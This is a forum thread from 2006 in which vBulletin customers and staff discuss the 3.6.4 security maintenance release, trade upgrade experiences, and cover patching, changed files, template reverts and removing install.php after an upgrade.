vBulletin 3.6.4 Release Discussion

[Kier]

This thread is for discussing the release of vBulletin 3.6.4.

Please use this thread to talk about things you like or installation experiences etc., but please do not use this thread to post troubleshooting queries or bug reports. These threads tend to grow very large and bug reports etc. tend to become lost and will not get attention from the support or development teams.

For reporting bugs, please use the appropriate bug tracker (http://www.vbulletin.com/forum/bugs36.php).

[navjotjsingh]

Link to this thread in http://www.vbulletin.com/forum/showpost.php?p=1256459&postcount=5 points again to the same annoucement thread instead of this one...Will update to 3.6.4 in few minutes from now BTW!

[Kier]

Fixed, thanks.

[Zachariah B]

Groovy :D

[---MAD---]

Nicely timed, I was just about to upgrade a forum and saw 3.6.4 (in the download section) and I was like WHOA lol.

[Floris]

I had to upgrade my brothers' forum, I think I'll wait a day now and skip a whole version.

[DJ PİSAGOR]

Fixed for Thanks. Did not it become some early ?

[Mazinger]

3.6.4 Released :eek: :eek: !! What a surprise.

[Floris]

Fixed for Thanks. Did not it become some early ?
I'm sorry, I do not fully understand what you're trying to say in English. Please rephrase?

[andy-ch]

Thank you for the release, time to upgrade http://images.vbulletin.com/images_vb3/smilies/smile.gif
I hope in this version all bugs has been eliminated http://images.vbulletin.com/images_vb3/smilies/biggrin.gif

[Mazinger]

Cool, the bug I reported (http://www.vbulletin.com/forum/bugs36.php?do=view&bugid=1196) has been fixed. :P

But I think it's too early for a new release, as 3.6.3 hasn't taken enough time. :confused:

[joeychgo]

Nice - Thanks...

[Floris]

Thank you for the release, time to upgrade http://images.vbulletin.com/images_vb3/smilies/smile.gif
I hope in this version all bugs has been eliminated http://images.vbulletin.com/images_vb3/smilies/biggrin.gif
At least all known bugs! ;)

[DJ PİSAGOR]

I'm sorry, I do not fully understand what you're trying to say in English. Please rephrase?

isn't it a bit fast?

[Chousho]

All I can say is, LOL, poor Aeolian (http://www.vbulletin.com/forum/showpost.php?p=1255809&postcount=209)

Haha, thanks for the upgrade though! It's never too early for an upgrade when security is involved.

[Mike Sullivan]

isn't it a bit fast?
Not if security is involved.

[Goldenforce]

Let's try it :)

[Mazinger]

Not if security is involved.
Like when 3.0.5 released immediately after 3.0.4?

[Floris]

Like when 3.0.5 released immediately after 3.0.4?
Or any other occurrences where despite a recent release a new security issue came to light. We are not like other software companies and keep security updates in a queue until it's yearly update time.

[DJ PİSAGOR]

vBulletin upgrade a lot of more fast. We will do to the predicate every day.

[bigred]

Thank You.

Great work guys.

We shouldn't complain about the time when upgrades are released. If we were paying for a service and not getting timely upgrades then we would have a reason to complain.

[The Itchy One]

I get excited when a new update is released, it makes me feel useful :)

Plus no one can argue it makes your forum feel more secure if security updates are often run & fixes released

[Floris]

Thank You.

Great work guys.

We shouldn't complain about the time when upgrades are released. If we were paying for a service and not getting timely upgrades then we would have a reason to complain.
You're actually paying for the permission to run one instance of vBulletin, and we're offering the latest stable release from at least one branch. It doesn't include a guarantee of future releases. But I understand what you're saying ;)

[malcolmx]

wow, fast update.

what was changed in the class_dm_user.php?

-malc

[Floris]

wow, fast update.

what was changed in the class_dm_user.php?

-malc
Probably code in variables, or functions, or typing errors .. depending on which bug report.

If you require details I recommend to do a file comparison to find the changes.

(its free too!) http://www.prestosoft.com/ps.asp?page=edp_examdiff

[alexisbellido]

Upgraded.

Thanks guys for always being on time and fixing bugs.

I enjoy the easy upgrade process, I've never had any problem upgrading and I'm a vB user since 2002 :)

[Floris]

We are glad to hear that, upgrades are made to go smooth. Thank you for the feedback!

[Darkblade]

Thanks for the release guys! I'm on my way to upgrade. :)

[Dave Scouse]

Went fine.

:)

[DPSR]

Thanks guys, downloading new version now :D

[mescalin]

I have upgraded without any problem..Thanks for the quick updates.. vbulletin team is really hard working :)

[globalbuzz]

MSvBulletinXP

with the amount of security patches

;)

[Cromulent]

Good work, will upgrade as soon as possible.

[Floris]

MSvBulletinXP

with the amount of security patches

;)
To be honest, I have to disagree. Yes, there have been maintenance releases that included security updates, but some have been minor or really hard to exploit. We've chosen to still release an update for them. Comparing us to other forum software you will see we're not even in the top 5. That and the latest bugtraq reports have either been fake or inaccurate or for older versions that have already been patched in our latest releases. Opposed to others where remote file inclusion is common or sql injection isn't something new. Comparing us to the amount of microsoft security releases is like comparing a Porsche with a Lada perhaps (grain of salt)

[monet_06]

I'm thrilled that y'all are so conscientious about releasing bug fixes and security upgrades. :)

My only request would be that you put a note in the download area when you know that the current one will need upgraded very soon. Even, or especially, if it's just a few days ahead of the new release.

I'm not sure how long it takes y'all to build the upgrades and prepare them for delivery and announcement, but it is kind of frustrating to take a day to upgrade (for those of us who are heavily modded) and then find out a few days later that we should have waited a few days - or worse, a single day. :o

Anyway, kudos to the team, and thank you for all your hard work. I love that you so carefully tell us which files have changed. This one doesn't look like it'll take many template fixes, so I'm going to do a full-upgrade, so the updated files and templates will be easy to track for the next one. ;)

[elamyer.net]

shanks

ana bdy 3.6.4

3.6.4
:)

[Mazinger]

shanks

ana bdy 3.6.4

3.6.4
:)
Please post only in English.

[SNN]

Nice Upgraded just fine with my members viewing board

[PitchouneN64ngc]

Thank you for this release ;)

[Rob B]

Another smooth upgrade. Thank You.

[|Norman|]

I will upgrade this night. Thanks guys.

[Freezerator]

Upgraded without issues :)

[Dikeygecis]

I have upgraded without any problem..Good work:)

[ambele]

where can i see the entire list of bugs that fixed in this version?

[Mazinger]

Kier posted the link in the announcement: http://www.vbulletin.com/forum/bugs36.php?s=&do=list&vbversion=3.6.3&status=20

[JakeS]

vB 3.6.4.. Oh come on right after I've finally finished setting up 3.6.3 lol

Couldn't you have released in a weeks time?

[devilyellow]

Comparing us to other forum software you will see we're not even in the top 5.

Theres other forums software that is better than this?

The software keeps getting better and better. So many new features that really make my plugins and products obsolete. If I havnt been working with vB for the past 4 years it might be overwhelming tho - it was easy to learn with v.2 and grow with the upgrades as they came out.

[scotsmist]

thanks for the security release. upgraded nicely :)

[HDT]

OK,now 3.6.4,end the month 3.6.5,on december 1st week 3.6.6,2nd 3.6.7,3rd 3.6.8,end the month 3.6.9,and then 2nd week on january 2007 4.0 will be released and I will upgraded it :D

[Floris]

vB 3.6.4.. Oh come on right after I've finally finished setting up 3.6.3 lol

Couldn't you have released in a weeks time?
I rather pick a quick follow up release over a security hack and unforseen downtime anyday. You're free to simply patch the software and upgrade to a new version in the future. It's a recommended upgrade, not a required one.

[Floris]

OK,now 3.6.4,end the month 3.6.5,on december 1st week 3.6.6,2nd 3.6.7,3rd 3.6.8,end the month 3.6.9,and then 2nd week on january 2007 4.0 will be released and I will upgraded it :D
Let me dream too!

Or skipp all the 3.x releases and go straight to 4.0 on January :D

[Nathan1977]

Thanks for the upgrade,

Install ran nice and smooth :)

[Chousho]

Let me dream too!

Or skipp all the 3.x releases and go straight to 4.0 on January :D

You people, dream bigger! By Christmas we will have VBulletin 13.0 (take that, Winzip!)

[JakeS]

I rather pick a quick follow up release over a security hack and unforseen downtime anyday. You're free to simply patch the software and upgrade to a new version in the future. It's a recommended upgrade, not a required one.Well just finished running the upgrader, now onto the template edits.

Just checked, no templates need updating loverly.

[Mazinger]

You people, dream bigger! By Christmas we will have VBulletin 13.0 (take that, Winzip!)
There would be then, vBulletin-France.com, vBulletin-Spain.com, vBulletin-Turkey.com, vBulletin-etc... .com :D

[Cromulent]

Well just finished running the upgrader, now onto the template edits.

Just checked, no templates need updating loverly.

Yep it was a piece of cake. Took longer to upload than it did to upgrade.

[HDT]

Let me dream too!

Or skipp all the 3.x releases and go straight to 4.0 on January :D

Good idea Floris,just skip all 3.6.X version and released when 4.0 :D
You guys work fast and I love it,but my webmaster will keep busy if every week you are have a new release :).

[telc]

I am still running 3.6.2 with the dropin patch from a couple weeks ago. Can I apply this lastest patch to 3.6.2? I want to make sure I am patched until I am able to upgrade next week.

[Mazinger]

Why the patch is no longer in the announcement, and in the Members' Area?

[Marco van Herwaarden]

For technical reasons this patch could not be distributed on the forum.

[SaN-DeeP]

thanks guys

[Ohiosweetheart]

Here we go again.... y'all keep us on our toes with these upgrades... but this is a GOOD thing! :D

[JakeS]

Whens the next release? tomorrow?

Also in the next release i want lots of template changes thats my favorite part of upgrading :D

[The Chief]

Has this been fixed? :(

http://www.vbulletin.com/forum/showthread.php?t=209375

[JakeS]

Has this been fixed? :(

http://www.vbulletin.com/forum/showthread.php?t=209375No but i know how to fix it..

check your topic

[emmanuel132]

a hello guys what is the upgrade link like domain.com/upgrade/install/install.php
?

[JakeS]

/install/upgrade.php

[emmanuel132]

that didnt work either

[JakeS]

did you upload the isntall folder?

[emmanuel132]

for the new 3.6.4?

[JakeS]

Yes, and did you upload all the other files?

[emmanuel132]

not yet lol sorry

[JakeS]

Well when you do goto yourdomain.com/install/upgrade.php

[emmanuel132]

but why wouldnt it work? cant it just work like for 3.6.3? nvm im not making sence lol

[BANDiT600]

Cool, the bug I reported (http://www.vbulletin.com/forum/bugs36.php?do=view&bugid=1196) has been fixed. :P
Yeaaah, and mine...:)

[Scott]

Thanks for the support, will be upgrading over the holiday.

[Ohiosweetheart]

but why wouldnt it work? cant it just work like for 3.6.3? nvm im not making sence lol
you're right about that.

You have to upload all of your files first, then run the upgrade script

[wii]

Upgraded - no problems.

Thanks

[ttk_2k]

Upgraded as smooth as silk! ;)

[Caiman]

Secure as ever. Lovin it, cheers fellas.

[hornstar6969]

It's never too early for an upgrade when security is involved.

Agrees.

Thanks for the quick update vbulletin :)

[malcolmx]

Probably code in variables, or functions, or typing errors .. depending on which bug report.

If you require details I recommend to do a file comparison to find the changes.

(its free too!) http://www.prestosoft.com/ps.asp?page=edp_examdiff

oh, i was just to lazy to download the update and look myself :)
thanks for the link tho, but i prefer using unix diff.

i was just interesed, because i extended the datamanager class today, so i would be pissed when its not working tomorrow :)

-malc

[sinjix_media]

i will never install another mod again.
upgrades coming too fast.
too much work

[Caiman]

^I have more than 15 plugins, and I had to do no more work upgrading to 3.6.4 than I would have done had I got 0 plugins?

[Onimua]

Excellent... will upgrade tonight. :D

[Silvio]

upgraded safely

ty

[ThorstenA]

Thank you for this release.

[x-server]

whats this >>>>> its too fast,,,,,,, okaY anYwaY
but whY ??????

[PossumX]

EZ as pie. Just like 3.6.3 upgrade was. 17 minutes total, most of which was upload. Nice job vBulletin Team !!

[LightSabre]

Not if security is involved.

Or any other occurrences where despite a recent release a new security issue came to light. We are not like other software companies and keep security updates in a queue until it's yearly update time.
Thanks for providing top-notch services!;)

[ma7room]

done 3.4.6 :)

[Phaedrus]

I had to upgrade my brothers' forum, I think I'll wait a day now and skip a whole version.

AND

MSvBulletinXP

with the amount of security patches

;)

LOL. :D



Well just finished running the upgrader, now onto the template edits.

Just checked, no templates need updating loverly.

I too had no template updates. Fantastic, easiest ever update...

Please, please, please! Can this one last more than three days? Please!

[chewbacca]

Nice, a week before my access expires. :)

[eth0]

Let me dream too!

Or skipp all the 3.x releases and go straight to 4.0 on January :D
i'll dream that with you Floris

[UnderEstimated]

Thank You everything worked out smoothly :)

[wayne.a]

As always thanks for the great hard work guys. On the other hand you are killing me with these updates every two weeks...

-sigh-

[Naw]

As always thanks for the great hard work guys. On the other hand you are killing me with these updates every two weeks...

-sigh-

I like the vB way of handle security problems, certainly one of most secure PHP software even written of the well know world. You should worry about severe flaws like sql injects, remote command execution, etc. Hardly somebody will compromise your board due XSS.

vB team always take security very serious even if is a small hole. :D

[1996 328ti]

Updated two boards in no time.
Made my edits to a few php files for vBadvanced before uploading.
Gotta love plugins! :)

[Smoothie]

Love it when there are no important templates to revert. :) And plugins rule.

[persianforum]

Thank you for the release
Updated successfully..

__________________
www.persian-forum.com (http://www.vbulletin.com/forum/www.persian-forum.com)

[Ace]

No favicon in this release?

[JakeS]

:( no more releases yet, you know what I think, each time a bug is verified there should be another vBulletin release... just a few hours warning first so you don't catch me out like you did this time so then I'm at least ready for an update.

[Ace]

What would be the point of a few hours warning?

You would still have to upgrade, and it would just make people start 'When is it coming?' threads if it wasn't released on the exact moment.

[Masiello]

Thanks for this release, the vBulletin team always works in splendid way.

[JakeS]

What would be the point of a few hours warning?

You would still have to upgrade, and it would just make people start 'When is it coming?' threads if it wasn't released on the exact moment.Well then I know not to be designing a template to work with 3.6.3 and all of a sudden I look back here and there is a new version.

[garethp2]

Probably code in variables, or functions, or typing errors .. depending on which bug report.

If you require details I recommend to do a file comparison to find the changes.

(its free too!) http://www.prestosoft.com/ps.asp?page=edp_examdiff

Spot on, been looking for this for ages! thanks for the link ;)

[Kohhal]

Upgraded in 10 mins :)

Great to have rid myself of most of my hacks, upgrading and admin life is so much easier :)

[Ace]

Well then I know not to be designing a template to work with 3.6.3 and all of a sudden I look back here and there is a new version.
What innovations do you have for the templates that were modified between 3.6.3 and 3.6.4?

bbcode_code, bbcode_html, bbcode_php, calendar_edit_customfield, newreply, pm_showpm..

Even if you have presented the bbcodes/calendar custom field edits/replies/show pm screen, the only one that would require anything more than a visiual comparison would be newreply.php .. and I can't really see what kind of changes would be made to that page.

[Viper007Bond]

I wish you guys had a "changed files" patch. Just like the security patch, but with all changed files. It'd be less download for me and less work as well as I wouldn't manually have to pick out the changed files from the list to upload (takes too long to upload the entire package).

Just my 2 cents. :)

[1996 328ti]

I wish you guys had a "changed files" patch. Just like the security patch, but with all changed files. It'd be less download for me and less work as well as I wouldn't manually have to pick out the changed files from the list to upload (takes too long to upload the entire package).

Just my 2 cents. :)
Use the download that does not include images when there are no images to add or change. It really speeds things up.

[Floris]

No favicon in this release?
I've just downloaded the .zip of 3.6.4 and it has the favicon.ico file in it.

[vitnuce]

Thanx for 3.6.4, hope it would be better :)

[Paul M]

i will never install another mod again.
upgrades coming too fast.
too much workI can only think you are doing something wrong or using a very long winded method - vB.org has quite a bit of custom code and I'm not expecting that to take more than about 30 minutes, and most of that will be pre-upgrade preperation, and waiting for file uploads. :cool:

[AdmiralSpock]

Thanks guys for this quick update. I was just upgrading to 3.6.3 last week, and I'm doing the upgrade to 3.6.4 right now. :D

It would be nice though if there could be a way to be updated via e-mail when a release is made, instead of waiting for the eBulletin or whatever it is called. I have a subscription to the Announcements forum set, but that sends me everything that is posted to that forum. Maybe something through the members area can be set up?

I wish you guys had a "changed files" patch. Just like the security patch, but with all changed files. It'd be less download for me and less work as well as I wouldn't manually have to pick out the changed files from the list to upload (takes too long to upload the entire package).

I agree with that. I usually upload the whole thing (except the do not upload of course :P) and then do the upgrade. It'd be a lot quicker to do the changed files only.

[DinamikNet]

Upgraded thanX....

[Scormen]

Thanks for the update!

Installed from 3.6.3 without any problem!

Grtz,
Kris

[Matt_270581]

Upgraded a fully customised board from 3.63 to 3.64 in about 10 mins.

Thanks for the Security Fixes.

Cheers

[WorkAnimal]

Thanks

[1996 328ti]

I've just downloaded the .zip of 3.6.4 and it has the favicon.ico file in it.
It might depend which version you download.
I downloaded the no images file and there was no favicon.
What I don't understand though is why include graphics that are in directories other than /images.

[Ace]

I've just downloaded the .zip of 3.6.4 and it has the favicon.ico file in it.
Ahh.. it must count as an 'image' because I decided to grab the package 'without images'. :)

[Ace]

It might depend which version you download.
I downloaded the no images file and there was no favicon.
What I don't understand though is why include graphics that are in directories other than /images.
Indeed!

(The no-images package offers the download without the /images/ directory for a smaller filesize/faster download.)

And /root/favicon.ico is definitely NOT in the /images/ directory.

[pekdemir]

Upgrade completed from 3.6.3 in minutes (as it has been said before, upload took more time than the upgrade :D ).

Is there any file to be removed after the upgrade? (No install.php in install directory already). Would deleting whole install directory make any harm or should I delete it already?

[1996 328ti]

Upgrade completed from 3.6.3 in minutes (as it has been said before, upload took more time than the upgrade :D ).

Is there any file to be removed after the upgrade? (No install.php in install directory already). Would deleting whole install directory make any harm or should I delete it already?The instructions say to delete the /install directory. Generally in the announcement it will state, if any files or images are no longer needed.

Edit: Disregard. I'm a dummy! :(
I have misread what the good folks at vB have written in not one place but two.
Before proceeding to the Admin Control Panel, you must delete the 'install/install.php' and 'install/upgrade1.php' files from your webserver. You may then enter the control panel and start working on your new vBulletin!Although it should probably say upgrade.php since I don't see upgrade1.php.

[Cromulent]

Actually it says to delete install.php not the directory itself.

[Zachery]

The instructions say to delete the /install directory. Generally in the announcement it will state, if any files or images are no longer needed.
Its not recomended to remove the install directory either, since some tool files and functions require it be there.

[1996 328ti]

Its not recomended to remove the install directory either, since some tool files and functions require it be there.Sorry. You are so right. I must have read

Security Alert!

install.php still remains in the /install/ directory.

This poses a security risk, so please delete that file immediately. You can not access the control panel until you do so.

50 times and took it to mean the entire directory. :(

[Mazinger]

I think it will be better to rename the install.php file instead of deleting it; as you might need to install the forum again.

[Zachery]

The install file does pose a slight risk due to its ability to wipeout the forum, thus why we recomend removing it.

[delmarva]

Upgrade went fine. I feel confident and no worries here... Great job.;)

[Nephalim]

Can I just upload and overwrite the files from 3.6.3 to 3.6.4 mentioned here>>>

Changed Files (since 3.6.3)
ajax.php
calendar.php
memberlist.php
search.php
admincp/
admincalendar.php
index.php
usertools.php
subscriptions.php
archive/index.php
clientscript/
vbulletin_global.js
vbulletin_textedit.js
vbulletin_thrdpostlist.js
includes
adminfunctions.php
adminfunctions_language.php
adminfunctions_template.php
class_bbcode.php
class_core.php
class_dm_event.php
class_dm_pm.php
class_dm_user.php
class_sigparser_char.php
functions_newpost.php
functions_calendar.php
cron/removebans.php
xml/js_safe_phrases.xml
install/ - all of it
modcp/user.php
-------
and click upgrade? My forum has many ad-on hacks from vb.org

thanks

[Zachery]

Well most addons are via plugins which arnt stored in files, we can only recomend the standard upgrade path.

[Nephalim]

Thanks for so quick reply and on Thanksgiving day!!!! So it should be cool? I read a guy said he had to change his Vbadvance CMPS files?
Just nervous...we're in the middle on a serious contest right now and I'd hate to have the boards go down for any length of time.

thanks

[bmc]

Thanks to the vBulletin Team for their fast catch and smooth, painless upgrade on this! :)

[1996 328ti]

Thanks for so quick reply and on Thanksgiving day!!!! So it should be cool? I read a guy said he had to change his Vbadvance CMPS files?Only if you use vBadvance on your forum pages. For instance I use vBadvanced on my index, forumdisplay and showthread pages. If you just use it as a portal/homepage, then there is nothing to do, assuming you are running 2.2.x

[Nephalim]

Only if you use vBadvance on your forum pages. For instance I use vBadvanced on my index, forumdisplay and showthread pages. If you just use it as a portal/homepage, then there is nothing to do, assuming you are running 2.2.x

Great! thanks! I feel better now, it's justmy homepage, and it's their latest!:D

[fttp]

How do I get updated templates on my forums? could anyone help?>

[JakeS]

How do I get updated templates on my forums? could anyone help?>It Normaly apears on the admin home page, if it doesn't it means you don't have to edit them if it does it'll be in the main vb release topic.

[Paul M]

Its not recomended to remove the install directory either, since some tool files and functions require it be there.It's not required for normal operation, only the special tools - so I think it's much better to delete the whole folder and just upload it in the rare case you may need to use the tools.

[JakeS]

It's not required for normal operation, only the special tools - so I think it's much better to delete the whole folder and just upload it in the rare case you may need to use the tools.I Agree with you, because if anyone finds out your vBulletin license number, and you got the installer there still they can wipe out your board.

Specially if you just

rename /install to /install2 to stop the message.

[Marco van Herwaarden]

I Agree with you, because if anyone finds out your vBulletin license number, and you got the installer there still they can wipe out your board.

Specially if you just

rename /install to /install2 to stop the message.
That is why you must delete install.php.

[Colin F]

And /root/favicon.ico is definitely NOT in the /images/ directory.

The 'no images' download includes everything except the /images/ folder and the /favicon.ico file.

This is because these are image files that a customer may have adjusted to fit his site, and thus shouldn't be overwritten.

[georgec]

Just so I understand correctly, for people who are running, say, 3.6.1 (non 3.6.3 versions), the only option is to upgrade to 3.6.4 to fix the security issue right? In other words, there are no drop in patches for these <3.6.3 versions?

Thanks,

[The dman]

Newbie here, 3.64 installed no problems. (except for the gallon of sweat I lost hoping I was doing everything right:rolleyes:)

Thanks

[Viper007Bond]

Use the download that does not include images when there are no images to add or change. It really speeds things up.

I did, but I still have to go and pick just the changed files unless I want to upload hundreds of files. ;)

[wynode]

Anyway to say if someone has taken advantage of the cross-site scripting (XSS) issue ?

[Colin F]

I think someone would have been able to log in to the AdminCP. You can check the AdminCP logs and see if you can find anything suspicious there, but most likely you'd have realized it already.
This is a rather hard to exploit issue.

[JakeS]

I think someone would have been able to log in to the AdminCP. You can check the AdminCP logs and see if you can find anything suspicious there, but most likely you'd have realized it already.
This is a rather hard to exploit issue.Must've been because even I didn't find it.

[fttp]

Ok, the problem is, I installed my licensed version of vB on my server problem is the default style is there and I bought a style and it is 3.6.3 not 3.6.4 how do I make it work? It doesnt work in IE if I keep it with the 3.6.3 on there, because I have 3.6.4 installed.....



HELP!

[Colin F]

Ask the style author to update the style to 3.6.4.

[fttp]

Thanks.

[Nephalim]

Ok, the problem is, I installed my licensed version of vB on my server problem is the default style is there and I bought a style and it is 3.6.3 not 3.6.4 how do I make it work? It doesnt work in IE if I keep it with the 3.6.3 on there, because I have 3.6.4 installed.....



HELP!

my custom style was made for 3.6.2 and it works fine in IE /FireFox /and Safari using the 3.6.4

[magnaromagna]

After upgrade from 363 to 364, on forumhome there is a significant difference between users on each forum and total number of user online. Example: now on single forums are 1+1+6 users, but total number is 156 :confused:
Some options to change?
You can see www.magnaromagna.it/portale.php (http://www.magnaromagna.it/portale.php)

[Steve Machol]

Please start a new thread in the troubleshooting forum for problems. This is a discussion thread.

[The Realist]

You guys are having a joke, updates here, there and everywhere.

If Jelsoft cannot iron out the bugs in development or beta then dont release a product that as more holes than a golf course.

Not ammused with all these updates I can tell you.

[Scott MacVicar]

You guys are having a joke, updates here, there and everywhere.

If Jelsoft cannot iron out the bugs in development or beta then dont release a product that as more holes than a golf course.

Not ammused with all these updates I can tell you.
This was a security update, if there was no security problem then there wouldn't have been a release. Unfortunately we felt it best to resolve this now rather than leaving it open for exploitation.

[LinkAdage]

Ongoing security issues are way too common with vBulletin. I think it is best to keep vBulletin and your main website databases separate (even if this means members having two logins). This way, if vBulletin gets hacked, at least your eCommerce database is safe.

[navjotjsingh]

DOne the Upgrade today...ran smooth!

[Zachery]

Ongoing security issues are way too common with vBulletin. I think it is best to keep vBulletin and your main website databases separate (even if this means members having two logins). This way, if vBulletin gets hacked, at least your eCommerce database is safe.
Regular backups should keep you safe. This is a minor issue but we'd rather not let it get exploited.

[Marco van Herwaarden]

Ongoing security issues are way too common with vBulletin. I think it is best to keep vBulletin and your main website databases separate (even if this means members having two logins). This way, if vBulletin gets hacked, at least your eCommerce database is safe.
That is a strong statement to make. Would you care to explain please?

With vBulletin 3.6 there has been 1 security issue inside vBulletin discovered, for which we immediatly released an update.

The second security related release was to help mitigate a vulnerability in IE, not in vBulletin.

[Jelly Labs]

Many thanks for the update :)

[Mark.B]

Actually in the core product security issues have been astonishingly UNcommon lately and 3.6 seems to be extremely stable and secure. There have been quite a few related to hacks/plugins though, however that's nothing to do with Jelsoft and is no reflection on the actual vBulletin product.

Upgrading a modified board is much much easier than it ever was, and although it's still a minor pain I'd rather have the current system whereby any issues found are announced and patched with a new release, than what I had a few years ago when using XMB, which was widespread hacking of XMB boards going on yet the owners of the software pretended nothing was happening. Oh, those were the days.

[Aeolian]

All I can say is, LOL, poor Aeolian (http://www.vbulletin.com/forum/showpost.php?p=1255809&postcount=209)

Haha, thanks for the upgrade though! It's never too early for an upgrade when security is involved.
Damn~!! the wait has paid off!! LOL
I now its not a big deal to upgrade forum BUT when u make numerous internal changes (to fit ur need) then its a drag to upgrade every month :(

**wish there was way you would save your personal changes and implement them when u upgrade to new version..**

[TaBaTaN]

Thanks, upgraded no problems.

[minimite]

Nobody ever answered this, so I'm giving it another shot here.

I'm going to upgrade from 3.5.4 to whatever version of 3.6 is around by the time this is answered.

Questions:

1) I use Flashchat for 3.5.4 - does anybody know if that's going to be a problem? I know it's not supported or whatever the lingo is, I'm just asking if anybody knows. Unofficially, if you like.

2) I know I'll have to redo all my current styles because I edited a lot of templates... is there any way at all of saving just the colors so that I don't have to redo that part anyway? I am talking (I think) about the "Main CSS" portion of the styles.

3) Can I try old styles with the new version and see what happens, or will this screw something up?

Thanks very much for any help.

[Zachery]

Mini, if you askled in a proper support thread you'd probally get quicker responses.

1. We cannot verify if flashchat works with newer versions, you might want to contact them directly. its their software.

2. Colors won't need to be revereted, and nothing gets revereted during the upgrade either, you manyally have to do this.

3. You can, chances are newer ajax functions won't work.

[1996 328ti]

1) I use Flashchat for 3.5.4 - does anybody know if that's going to be a problem? I know it's not supported or whatever the lingo is, I'm just asking if anybody knows. Unofficially, if you like.Which flashchat? I understand there are two. The one from tufat.com works just fine. Just be sure to use the current version since there were problems with an older version.

[minimite]

Thanks, Zachary! Sorry - I thought I was in the right forum - the discuss-3.6 forum. I didn't realize I could discuss issues with it before actually installing it. (Noted for the future.)

Oh, and thanks for the info about Flashchat, after Zachery there. Yep it's the tufat one!

[Zachery]

This thread is about discussing 3.6, not reciving support for upgrades, installs, etc ;) :)

[minimite]

I see that now - my mistake was thinking I had to install it first before asking for help in the 3.6 forum. I'm straightened out now. :) (I'll leave it to the mods to delete the posts or not.)

[feldon23]

Indeed!



And /root/favicon.ico is definitely NOT in the /images/ directory.
I'm confused. On an existing forum, you WANT your favicon to be overwritten?

[JohnnyBGood]

Firstly, thanks for getting the security update out fast! There have been far fewer issues with security in vB than in any other forum software I am aware of, so whatever the gits say, thanks for a brilliant piece of software!

My question is:

None of my templates have changed from 3.6.3 to 3.6.4, so do I just upload the whole of 3.6.4 over my existing files and upgrade, or can I just upload the files that have changed and then run install?

I'm not 100% clear on what to do here without having to redo changes to my footer, header etc. that I have done.

Thanks,

John

[Rocol]

Another, nice smooth upgrade, without any problems ... thanks vB Team :cool:

[1996 328ti]

None of my templates have changed from 3.6.3 to 3.6.4, so do I just upload the whole of 3.6.4 over my existing files and upgrade, or can I just upload the files that have changed and then run install?

I'm not 100% clear on what to do here without having to redo changes to my footer, header etc. that I have done.I would upload everything, not just the changed files. You can skip /images. If you have made changes to your templates, you will need to revert them and redo the changes. Any templates that are not modified will be overwritten with the new ones.

[bbunlock]

ok this is probably gonna sound like a stupid question BUT I have gone into my members area and clicked the download and the highest version available to me is 3.5.3? so the stupid question is "how do I download this?"

regards

[JohnnyBGood]

I would upload everything, not just the changed files. You can skip /images. If you have made changes to your templates, you will need to revert them and redo the changes. Any templates that are not modified will be overwritten with the new ones.

Thanks mate. Sorry I did not see this post before I answered your other one. The specific info was very helpful.

Cheers,

John

[Mazinger]

What the..Can i get the free version??


There's no free versions of vBulletin. If you are serious to purchase it, order it from here: http://www.vbulletin.com/order/

[!!!medo]

thanks :)

[KWOnline]

Upgraded both my forums simultaneously. rawr!
You guys make upgrading so easy! :D

[Simetrical]

I'm glad the security update came out so quickly, but could there be a lighter-weight version in the future? There were tons of files included that are unneeded for anyone upgrading rather than installing, and more files = more upload time = more downtime. A third release only including files that were changed since the last minor revision would be great.

[Z Picker]

Currently running 3.62

Do I need to upgrade to 3.63 before 3.64 or will this latest upgrade catch me up with out additional files or templates to change?

Also, if I have modified some templates, what is the best way to proceed?
Will my mods from 3.62 work on the new templates?

I am a newbie so don't assume I know what you mean. Reply as if you were talking to a child :)

Thank you!

[feldon23]

Currently running 3.62

Do I need to upgrade to 3.63 before 3.64 or will this latest upgrade catch me up with out additional files or templates to change?
The upgrade to 3.6.4 will upgrade any prior version of vBulletin 3.5 or 3.6. Upload all the files except the images folder.

Also, if I have modified some templates, what is the best way to proceed?
You will need to look at the announcements for 3.6.3 and 3.6.4 and see which templates were changed by Jelsoft. The ones that say "Requires Revert" are more than cosmetic and may cause problems on your forum if you do not make the same changes to your templates. Use the template comparison tool.

Will my mods from 3.62 work on the new templates?
You will need to check with the authors or websites of those mods to see if there are any problems with 3.6.3 or 3.6.4. I have a folder on my computer which contains a link to each mod on vBulletin.org so before I upgrade, I can check each one to make sure it's compatible.

[Z Picker]

Thank you!

[nogerorob]

Thanks, I went for the patch. I'm still hoping you guys will start adding release notes (http://www.vbulletin.com/forum/showthread.php?t=209401) to your version releases. Someone asked a few pages back about a list of bugs that had been fixed in the release. The template changes are nice, but I'd like to see the feature / bug list as well.

[1996 328ti]

Someone asked a few pages back about a list of bugs that had been fixed in the release.
This?
http://www.vbulletin.com/forum/bugs36.php?s=&do=list&status=20

[Mazinger]

This?
http://www.vbulletin.com/forum/bugs36.php?s=&do=list&status=20
Kier posted the link also in the announcement.

[Necrosaro420]

Can the "Patch" work with 3.6.2 (I already have the patch installed from 3.6.3). Thanks

[Steve Machol]

Can the "Patch" work with 3.6.2 (I already have the patch installed from 3.6.3). Thanks
No. Patches only work with the immediate prior release, in this case 3.6.3.

[draligus]

is this slow a bit ?

[ahmedbassiouny]

i want the customer number of vbulletin 3.6.4
please

[1996 328ti]

i want the customer number of vbulletin 3.6.4
please
http://members.vbulletin.com/lostpw.php

[ryantr]

upgrade so easy
done
thanks vb for the awsome job

[towersl]

excellent work!!!! jsut upgraded and all is well on TG :)

[HALF MOON]

Upgraded - no problems.

Thanks

[carrlos27]

This is my first forum, so, using 3.6.4 is brand new to me! I like it already!

[BusinessForums]

Thank you vB team! Upgraded with no problem.

[Calibre_k]

I have vBulletin 3.6.3 istalled which is best to upgrade or new install? How do I patch it to 3.6.3?

[1996 328ti]

I have vBulletin 3.6.3 istalled which is best to upgrade or new install? How do I patch it to 3.6.3?Upgrade is always better. I generally patch first, then upgrade shortly after.

[Calibre_k]

How do you patch?

[1996 328ti]

How do you patch?
It's in the announcement.
http://www.vbulletin.com/forum/showpost.php?p=1256436&postcount=2
Patches are now available in the members' area. You may view available patches here (http://members.vbulletin.com/patches.php).

Go to the page mentioned above and download the Security patch for 3.6.3. Extract the zip archive, then connect to your web server using FTP and overwrite the following files using the replacement versions from the zip.
admincp/index.php
You do not need to download this patch if you perform a full upgrade to 3.6.4.
If you only apply a patch, your version number will not change. Your version number will only be updated to 3.6.4 if you perform a full upgrade.

[feldon23]

I have vBulletin 3.6.3 istalled which is best to upgrade or new install? How do I patch it to 3.6.3?
Why would you install? You want to wipe all users, posts, threads, etc. and start over?

